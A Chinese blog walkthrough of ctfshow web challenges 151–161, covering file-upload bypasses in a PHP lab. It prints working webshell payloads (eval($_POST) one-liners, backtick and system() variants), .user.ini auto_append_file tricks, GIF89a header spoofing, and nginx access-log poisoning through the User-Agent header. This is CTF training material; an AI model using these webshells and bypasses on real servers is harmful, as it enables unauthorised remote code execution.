ctfshow web入门 文件包含 web151--web161

web151

在这里插入图片描述打算用bp改文件形式(可能没操作好)我重新试了一下抓不到
文件上传不成功
改网页前端
在这里插入图片描述鼠标右键(检查),把png改为php在这里插入图片描述访问,执行命令
我上传的马是<?php eval($_POST[a]);?>
在这里插入图片描述**加粗样式**
查看

在这里插入图片描述

web152

上传马
把Content-Type改为 image/png就可以了
在这里插入图片描述
然后查看
在这里插入图片描述

web153

直接上传马发现nothing here
在这里插入图片描述查一下,原来要使用
利用上传user.ini进行文件上传绕过
在这里插入图片描述

filename 改为.user.ini
然后把上传的文件改为

auto_append_file=xxx

xxx就是我们上传的文件
这里是auto_append_file=/var/www/html/upload/m.png
然后访问看看传上去没有
在这里插入图片描述

然后查看flag就行
在这里插入图片描述

web154

对php进行了过滤,写一个新马

 <?= eval($_POST[a]);?>
 电脑自动杀的在bp里面改

在这里插入图片描述在这里插入图片描述

web155

php被过滤在bp中改马发包
在这里插入图片描述一种新的方式

auto_append_file="xxx"

xxx是你传的文件名
这里就是

auto_append_file="m.png"

在这里插入图片描述
上传成功

在这里插入图片描述在这里插入图片描述查看flag
在这里插入图片描述

web156

在上题基础上过滤了[]{}换掉
改马为<?= eval($_POST{a});?>
然后一样的操作上传成功(不会的私信)
在这里插入图片描述查看flag在这里插入图片描述

web157

把很多符号过滤了直接摊牌我要看flag

就是把a换成具体的命令
<?=system('tac ../f*')?>

在这里插入图片描述

在这里插入图片描述

web158

他后面肯定还会过滤东西我们直接搞个升级版
反引号会自动解析句子

<?=`tac ../f*`?>

一样的操作.user.ini
然后访问upload
在这里插入图片描述

web159

与上道题一样

web160

这道题反引号也过滤了
那么我们就得用日志文件包含

过滤了log所以用双引号绕过
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

在这里插入图片描述.user.ini

在这里插入图片描述打开日志文件了
在这里插入图片描述改user-agent
在这里插入图片描述在这里插入图片描述

web 161

上传没有回显加了图片头才行

GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

在这里插入图片描述

GIF89a
auto_append_file="m.png"

在这里插入图片描述user-agent:传马

<?php eval($_POST[a]);?>

我本来是想用POST的方法获得flag的但是不知道为什么突然用不了了
然后用的antsword
在这里插入图片描述重新开了靶机发现也可以哈哈哈
在这里插入图片描述

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-08 11:10:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-08 11:10:03       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-08 11:10:03       82 阅读
  4. Python语言-面向对象

    2024-04-08 11:10:03       91 阅读

热门阅读

  1. Linux 上安装 SQLite

    2024-04-08 11:10:03       39 阅读
  2. Qt、串口助手中字符串和十六进制字符串的转换

    2024-04-08 11:10:03       44 阅读
  3. springboot+websocket+微信小程序实现评论区功能

    2024-04-08 11:10:03       34 阅读
  4. 自动化脚本代码appium+pytest+adb

    2024-04-08 11:10:03       41 阅读
  5. 【flask快速上手(二)】

    2024-04-08 11:10:03       42 阅读